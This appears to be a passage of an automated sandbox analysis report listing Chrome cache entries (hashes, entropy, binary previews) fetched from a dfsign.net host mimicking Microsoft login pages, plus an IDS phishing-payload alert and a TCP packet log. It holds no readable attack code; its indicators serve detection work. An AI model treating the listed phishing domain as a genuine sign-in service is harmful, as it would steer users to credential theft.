SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 119666
Category:	downloaded
Size (bytes):	40470
Entropy (8bit):	7.993750162201405
Encrypted:	true
SSDEEP:	768:6JUZY53jznALsvTo+bJoiJRHaLurKc8KTT9o9SUcD1ZX+PvFj4cuvK:Ic4XAoLo+bJvzqQo9wYv5xui
MD5:	1B8C85CFFF9E2BD2E2A27B66AF4648C0
SHA1:	D933724587DD26E0B6DFFC57E609E296CA645E68
SHA-256:	C2C89EAA513B29874080F1C2B789F9F6E4D7115201163E80E2A7958C18F8372E
SHA-512:	CEC4706362DCE328EAAA3AB657B0E60D31D7AC6C06C346A4E76A2D44DCA7B4869CFFA2D4C1C8EE08B563DD32F37B73C93FAF9866AB5EB40FD08BB64730583CF2
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js
Preview:	............{{..7..y...D4e.sH.v.w......m.r.....&..b.`.P."r...~k..\(...=n#.2..5.N..N~.v'....g..G......N.~q.i.KWq.d.I..N..Z.'.,-........>.e...&Y..'ON......K\|.KQ.........^..WI.QT.oe.>..V........w.,/.Y.6..U.......Lo..U..C..{U......T....,.==.\..KrY..'wI..2wIyMw.K/.........B..{45r..r..Lw..3....I!l..lL.m....\|!..k...J...Y.......Q.I.Wt...........-....Y..mI...vs.S.TP.....]P..;j3..."..Q.]P?.+qK7.q..]J}....qt[..D.j\."....&j..3.......72.fQ..l%_..A...$.m6..>.QD@... ^F.v..2z@uao,.\|....@../....05.....4x...".I..(.._..e..R..HT.{.2O.....lT.we. _.P.'Iz..\|..y...yM..j.P...~...~6j.D.Li.e..z.tu~.lV~...qN...fg...V.7.;...<..........}...yf...`>.....g.y.<q..7.i....h..\%%.q.z.>.......^...M..u.n..1...z7t.......y..S..Bc.).....X.~.\|F.....B0..E....d.B_.Z.....[.Z./..B8.e..-U....P..]N....k.%p...l<..\......A`W^...m.J5c...._I.j.t.......Q...1..B...>^...+d.p.o.bi.D..O...~... @..m*.4.z..uLd..Bc).:.x?..`..Ey....?.2...".....2}.?.FW.\|d.~9...~.C.V..y.'..M..........`...E.77>..~?=+gs..t

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 15762
Category:	downloaded
Size (bytes):	5532
Entropy (8bit):	7.9617835145640825
Encrypted:	false
SSDEEP:	96:QySl6/egihiuGbMtLGm/FYJ0O5bMAVbpOm0rj6WK30cz3wi8/AuyRQBnlDVgOzub:QNl6/mgbMVGOY6A5bpJOsEKARXyklR+
MD5:	138415F85497FC460519400CF47F0742
SHA1:	BC83AA552D6A39A1AB2B5DB6B19BF08D8796AAEE
SHA-256:	75AA9DA4B89EA6C363E3164A54258042C05D89C8BE52DC1D2D4A00E5632171CA
SHA-512:	85483A9422DC6B26B2D1D24C5106160F98BBA6C29313F424E8527B8FB849A986B3A8C2300ACC0E82EB8A1B21CF05362BB509C624B236CACCC100E6A11813F437
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...oyC.B+...MG.+p........z..E.u..e.v=....M\?...^B{....K..%.._."RM...._%!-9........~...~..b.dl........?....=.~...N.....,d.\|.wqg.0^.,.f......x\|g27C..Nb....V.y.y...._.<.w......\..[..N.....;..<a1f.....T.p1.R6.P.R.z..A...8.).:.W..I...g...a......h.V..mHb.b.=?.........#qk...p..[./.......M........#"%...Vp6...}......6r.......P.a..cI..X.W....C.......sR.M.......06pC7.........C.........4.."p......).F.e.}..3.f].Sq>.k..f..u.s.Ap.1g....x.OE.z.......4...yT.....Oz.gO-......jP7. }....".q ..a'L..i.'1...,YhE...\|...3n.v.Zm8..T....3....t0&N..%O.*'.MS..>.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.164497779200461
Encrypted:	false
SSDEEP:	3:6ATunSkks:uSBs
MD5:	17C4BD96DCB397D1D62D24921BC4FEBA
SHA1:	2C0F2AFF858069D582A97867B183EBD5DC8A9FCB
SHA-256:	3549DBC06BDD994A38C9A29AECD7E8F9577E2150D15F8D6B0533B4D250666514
SHA-512:	9659C4D5B7EF0C852428D3AE8A8EE816438E268E4537FFA70823C9CB2C240252E6D9E863B2AE95F39397172EEFAAA73541123DC9255C9B37FC9437C655F55A78
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwlwJ9tb6sGQSxIFDU9-u70SBQ1Xevf9?alt=proto
Preview:	ChIKBw1Pfru9GgAKBw1Xevf9GgA=

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 26675
Category:	downloaded
Size (bytes):	7403
Entropy (8bit):	7.974792099821
Encrypted:	false
SSDEEP:	192:CAltTYqBQas6v71Yf6EKUVxjEqWhV5L2aI3QCJ0FJ:CAjTYq+t6v714XEBLIK
MD5:	DA8AF613CEE3EA699943FFDFBEE62D3C
SHA1:	251112F781E63C03BF3C4FBFA735DFB94ABB55D2
SHA-256:	296A33B7AADE4F7EE5A5DD8E4D39A369A0389CEF477F6FA839D34D587EF4716F
SHA-512:	0905937465E081EB37CB268A2896A7117680F6FB001ACBB5EE408F79D5D0846E0EFF13F92D6F859DA2ADE53DB8997D73B41BD623A3B2BD30686EA5465FC7F253
Malicious:	false
Reputation:	low
URL:	https://9676170e-b5027fcd.dfsign.net/shared/1.0/content/js/asyncchunk/convergedlogin_ppassword_b6632c4da67c72da7b92.js
Preview:	...........]mw.6.......q.-..I..tY...j.[k).I..EB.c.`I.j....w....{{..%..`0..<3........Omk....._....mp.<.zp..v~1....O.;...S?..~@5..9..4.j,...eq.b..D....w.m....T.b...<..?..hD...t .{Z..R.....S..O..Z.,Z..).B.}.jN..j.\....Gcm1....wc..1.b.R..:I.P^.hNL..rm.b>.\|.Z.k.T...1...k...c1P........a.....,1..C~.<h.iK6O./.....6KD?X^........0.._#.A.1..kBX....*$.R..N."...s&1.3.r....h......##.M8."......?.f....)a.3.S...w^lm....c.[S..z.t...\|dz...fH.S..'.....+.........D.;."...\|..hGl..a.e.<...$..I..I..?.D.....}....<....C..jAG..^....lE.................w...<tqX:%!....... 1\|m.....$...A............q....... s..c...a....}T....A"$c..\|}o.kl.....4n..z.b......mc.Y..##W.g.y.:L.vl..4aP.>..d.Eg..^3...\......'1XF..B.q..8f1..yJ...o;....4..\|_.f7..v.S)..F...Q3.....%]........[..@\.C..Q2...O..Y....].C..l.G.....,...MV}.."'I....1[@y/....r...k...Q@q...69.bz. ....{.c...j..o.`NI7.k@C...0a.E{"..$0.........r....C....]...$.........L...P...#.....G..yr..vM....e .%...X<a...`@o89.a..6....^.s(.1X4.^.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=4500, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=8000], progressive, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	95248
Entropy (8bit):	7.673376296924752
Encrypted:	false
SSDEEP:	1536:vZsgv7otshPm8VCYTXbgySnH9cCbwCJEuHM9Hi4gXKEo63i9wwSjXhRjNx+wI9Qw:xv78qpiqCbwOHM9CZKEJydiRmwtxf+
MD5:	862DBF2DAD855196F0B35D6ACD349B67
SHA1:	CBA3279A394E7A179C849B22982FFD9055FBAF30
SHA-256:	43E8E26196BE83777B78B9CF619D69E555588BF16DD6B6A266F3F7F0C62E4DB6
SHA-512:	2E3FA3077F264ABC1E040A7D3654ECE2BC65D0A5E389270DA88616D80E992E42D6C1FEF5933026A5E5D5D9C66A8A21598F5BF3CD43D7D99192DF00C88B902706
Malicious:	false
Reputation:	low
URL:	https://9b4922d2-b5027fcd.dfsign.net/c1c6b6c8-ak-h-zp1ysq3o-9xf2uahptxykg5yhnjkw299hlk4pc/logintenantbranding/0/illustration?ts=638616517367191629
Preview:	......Exif..MM.*...............@.......................................................................................(...........1.....".....2..........i.............$.......-....'..-....'.Adobe Photoshop 25.11 (Macintosh).2024:09:11 10:35:39.............0231...................................8...............................r...........z.(.................................d.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..0.....JP.T../)&I%..$.R.I$...I%)$.)IJH&L..)s.H....^WQe.6..f......kg.U,

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, 16x16 with PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, 24x24 with PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced, 32 bits/pixel
Category:	dropped
Size (bytes):	2279
Entropy (8bit):	7.354295352983905
Encrypted:	false
SSDEEP:	24:sb8IQUm7Ar/pPwZRbiHGIc+CozPPdv4CA0H+9dCjnmLr7laO+If7xkLLVP:sbvmiRwZUmD+CoTU0HbEXRzxkLBP
MD5:	7E0D59593F3377B72C29435C4B43954A
SHA1:	B4C5C39A6DFB460BBD2EACCEB09EC8079FB6A8E2
SHA-256:	62D706019A0D80173113EF70FBBEE12F286E8E221534BE788448AADA4B14C8E8
SHA-512:	397416A6A96A39F46F22E906A60E56067E5B7B11FB0597A733F862FC077C88D5ED31F51A82709A56F6082FB1F2F72F9A0FE0849E3DD493BB4240C265B546AAD3
Malicious:	false
Reputation:	low
Preview:	............ .....f......... .$...\|... .... .5.......00.... .j.......@@.... .....?......... .....2....PNG........IHDR................a....IDATx..1NCA.C..D@."-en.!.h..8@..9h..".....5M....h..-..l..L..P.Y.^luw...r.(.........w...B({....&.F......N.f%..........^&.x}Zu........g..7m......n?..U`....@.M8.g.-..\|..S.K.!....].%.I......&.I..`...F \|o;....{S....\|..VL...E....IEND.B`..PNG........IHDR..............w=.....IDATx..AJ.A.E_.5...D..$'....<.g.\...!.].!..Y....4...B.......4U...Q..J(...y....%..[t;..>\...~....O....r......e...F....8.d9....4.x.xW..e...c...~W..P2.........[.....r<..,..>....q.\...U...v.'......!.1.....9..:8............I.I.d.......IEND.B`..PNG........IHDR... ... .....szz.....IDATx..AJC1.E.{..... .;..>\..q+.. ..N.j....."8k.P..IF...M..{.8..F..Z.q...~.y}...0.f..U....Z...@yd...4......DT.B..)......v.8.....)..Lq.[....]_jrG$...3.%......i.vU...C...h0.....rz^.].....9..5.....mU~.E..GMF.X....?..Y.U..\|.c.k.v>..@.h..........Nh.u......IEND.B`..PNG........IHDR...

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 9285
Category:	dropped
Size (bytes):	3921
Entropy (8bit):	7.948503808003115
Encrypted:	false
SSDEEP:	96:lAQtXXFpyJsBFK/nyVtNUbGRGVQ3U1owJ6BDWkUapiSNIpI97qT:6cXXj4X/+tCGRWQk6bwxaCpI9W
MD5:	403315B13DC887A041A4643D4A1515BE
SHA1:	9C2E934FF24BFDFAA89ABE2ECBD4A016364C2361
SHA-256:	7030E49902AF03FAC6CC9B22D7691CCD18422FC111F6FD8D95F44A0A2F6BE2AE
SHA-512:	FDD3F93C91A28A79A0602BF99EBF2A8F64401B6FD153C582B77E8B42F09874D6BE98A0CA8CEFBD981CDF32998A859DB18794A91197696BF9639431EFD145E2FB
Malicious:	false
Reputation:	low
Preview:	...........Zks.6..>..F.d2.9.f.....+;..+...V..EB......m]K.}O.$E..$..26.G..8}.....Q.(.z..#.E^h.>...Bj..Z.R.r..GJ..eo.2..4UY..X....U-^..{N..3..P;:x[w...._y..[...'.....r]D..~.nr...y=..#[-.BN............~4.uV+;.m.:..\siUi...,.KW.......a&h....)...^.N....v.3.@..a.bT.....-!\.......y.WY...J?G.i.V1.T..;;n'...U..Z ..t2...5.....E2..7PoG..s.."....z...M;Ap.z.......8..}..:\|.f8.......I2G....J..Q.....OS.T!c.s........u.....0....;.k.$............s..V..K....xa..H......h....Z.yE.s..oN.x @.gnex.}E..1;7 .A.q.f]..W.!..........7,K&2.`].Y.'..j..X.A..n.I....ZxF.W.......~6O...-..[?..~..y.M...;..=.B.^....h.k.=<...0.Z........4.......K... .1K.@.<...nY.^s..p.......J..p0..>..}5.:l..?.Y.N.Z.Bu[....GTz...`.#..d...3!...4....wzp. ..Iws...W..E.o....5{..3...I\|!.]..E. o.'M..`.. ...U.(.X# .r..:..;.D....JV.Jx..4..j....5}.B.VI....)1x5..dN...(...q.y..cF..*......$......"s$.j...M`.Bu..A2..W.....\...=+...l..6..c.E0q3....7....]....&v..]...^.....u.z.cp..4\.L,.-..(..

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 190235
Category:	dropped
Size (bytes):	61127
Entropy (8bit):	7.995121099314004
Encrypted:	true
SSDEEP:	1536:kx0WdJLv3ecnX8S/DxrtM1Jd+jn2YCuUL:kHd93FnsCDxrC1bG2eG
MD5:	D651B2764389A1F462A64FE221B3BB85
SHA1:	CC3F806E3C0D953336564991FBDA67710FFDB0DF
SHA-256:	E58D717D6E949A6BE21E2F34F01D304FA8212A50CBCFF1E27EC62870481D461D
SHA-512:	6349BDC9CCF4CC2F227951A458CBDE4747DB2559B9049095C0180823D7F0BB1838E4DDB37A7AAE89B6E5DDFB0AA6A712687CA76CF9ACE1D5889C654F82133CEF
Malicious:	false
Reputation:	low
Preview:	...........iw.F.0.....'W..`...8..^Y.m&.%NF..@`K.M...J.H..OU........'..4......Z.8..7.M......;.....4..K....z..<.rON.O..../.IT.i.2.......Y..N?ign..I{....k8......wU6..c.<KZY.-<.;.fI...,.n...2.>..8.,.!...(.#....xl.o.f.$./..\|3......s..j.}6..M...()X.......%.5..E..Y:cYq{t;k.xd.9...8.....<...x>aYm.M#...a..E.........E.....&...<....I.../.6.........)....6.s'N6..$a..,Na.k..T12..(.`r.X.+.6..o+./.4/.h;.l.....qry.........e...Z...eS..ZU........\|d.YC.gV#..x.:.V.s.z.,g2...X...p^.k...2E...7L....vR_...Kod]....M.%G)`{.6..Y..l.^.....8G..O.y...z..."NX....o-...d..=.'7.\...M".bC..V%{._XT....s....h....aQ..U.R;h..v....2..4... .?..~....1r.._......5..I.a.?,..?..U....?L..wlh$.a.....6.Q.O. ....5...X..Y.6....fYZO....y..Or..z]B..y..;o.....o.rS..HG.{K...Y&P...........#.x'.5..m.......s.6....6...."z...fM.6.......4@...%+.."6C.%./6'...2<.7...J5..l7.p9......(..WM...T}...:..o..9l.MX...-.i....a.)..[.09S .K)...e6i?.....x.9.0.7...V...\|.........u..g...n..mk-^..e.O/6...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 119666
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	7.993465056143183
Encrypted:	true
SSDEEP:	768:6JUZY53jznALsvTo+bJoiJRHaLurKXIUCEIo47uSDAJQxjM/Oi:Ic4XAoLo+bJvzq4UCDH7dAUMmi
MD5:	1A1868FDED9FB3DAAE5994C170B586C8
SHA1:	4CA2EC4BCE31CE6EB43C050CDF8844B58871E93D
SHA-256:	2F673972917FB1D8D5383A1155F961E27D97F6D462D148CED1F9229933B2CD0E
SHA-512:	AE4521E89755355DAEDFFD61E6D07C37DC9B81D2114524B3B38F9F7EF734F89683FFC4E05E127C306DDE86930B8616D63730AEB70919B6BAA814B62D5C04946D
Malicious:	false
Reputation:	low
Preview:	............{{..7..y...D4e.sH.v.w......m.r.....&..b.`.P."r...~k..\(...=n#.2..5.N..N~.v'....g..G......N.~q.i.KWq.d.I..N..Z.'.,-........>.e...&Y..'ON......K\|.KQ.........^..WI.QT.oe.>..V........w.,/.Y.6..U.......Lo..U..C..{U......T....,.==.\..KrY..'wI..2wIyMw.K/.........B..{45r..r..Lw..3....I!l..lL.m....\|!..k...J...Y.......Q.I.Wt...........-....Y..mI...vs.S.TP.....]P..;j3..."..Q.]P?.+qK7.q..]J}....qt[..D.j\."....&j..3.......72.fQ..l%_..A...$.m6..>.QD@... ^F.v..2z@uao,.\|....@../....05.....4x...".I..(.._..e..R..HT.{.2O.....lT.we. _.P.'Iz..\|..y...yM..j.P...~...~6j.D.Li.e..z.tu~.lV~...qN...fg...V.7.;...<..........}...yf...`>.....g.y.<q..7.i....h..\%%.q.z.>.......^...M..u.n..1...z7t.......y..S..Bc.).....X.~.\|F.....B0..E....d.B_.Z.....[.Z./..B8.e..-U....P..]N....k.%p...l<..\......A`W^...m.J5c...._I.j.t.......Q...1..B...>^...+d.p.o.bi.D..O...~... @..m*.4.z..uLd..Bc).:.x?..`..Ey....?.2...".....2}.?.FW.\|d.~9...~.C.V..y.'..M..........`...E.77>..~?=+gs..t

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-07T14:48:39.324625+0100	2857090	ETPRO PHISHING JS/PsyduckPockeball Payload Inbound	1	104.248.23.102	443	192.168.2.16	49714	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 14:48:33.144898891 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:33.144942045 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:33.145041943 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:33.145879030 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:33.145915031 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:33.145992994 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:33.146106005 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:33.146125078 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:33.146294117 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:33.146310091 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:33.654320955 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 14:48:33.957540035 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 14:48:34.221368074 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.221746922 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.221776962 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.222867012 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.222946882 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.224000931 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.224067926 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.224210978 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.224219084 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.233623028 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.233916998 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.233949900 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.235044003 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.235122919 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.235472918 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.235534906 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.273220062 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.290266991 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.290285110 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.337239027 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.556684017 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.556992054 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.557048082 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.557354927 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.557363987 CET	443	49708	210.138.145.62	192.168.2.16
Jan 7, 2025 14:48:34.557373047 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.557414055 CET	49708	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:48:34.558202982 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 14:48:34.765707016 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:34.765743017 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:34.765845060 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:34.766127110 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:34.766143084 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:35.705589056 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:35.705938101 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:35.705971003 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:35.707029104 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:35.707125902 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:35.708250046 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:35.708314896 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:35.708513975 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:35.708523989 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:35.762286901 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 14:48:35.762290955 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:36.165129900 CET	49689	80	192.168.2.16	192.229.211.108
Jan 7, 2025 14:48:36.450603008 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:36.450637102 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:36.450727940 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:36.450939894 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:36.450951099 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:36.582705975 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:36.582796097 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:36.582853079 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:36.583194017 CET	49709	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:36.583214045 CET	443	49709	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:36.585378885 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:36.585410118 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:36.585483074 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:36.585711956 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:36.585727930 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:37.099597931 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:37.099987030 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:37.100013018 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:37.101141930 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:37.101247072 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:37.102499008 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:37.102585077 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:37.145226955 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:37.145245075 CET	443	49710	142.250.185.228	192.168.2.16
Jan 7, 2025 14:48:37.193228960 CET	49710	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:48:37.622323990 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:37.622661114 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:37.622680902 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:37.623059034 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:37.623477936 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:37.623553038 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:37.623636961 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:37.667350054 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:37.673296928 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:38.167292118 CET	49673	443	192.168.2.16	204.79.197.203
Jan 7, 2025 14:48:38.183696985 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:38.183778048 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:38.183871031 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:38.184875965 CET	49711	443	192.168.2.16	101.100.204.200
Jan 7, 2025 14:48:38.184897900 CET	443	49711	101.100.204.200	192.168.2.16
Jan 7, 2025 14:48:38.198906898 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:38.198939085 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:38.199018955 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:38.199294090 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:38.199305058 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:38.828383923 CET	443	49714	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:38.828861952 CET	49714	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:38.828896999 CET	443	49714	104.248.23.102	192.168.2.16
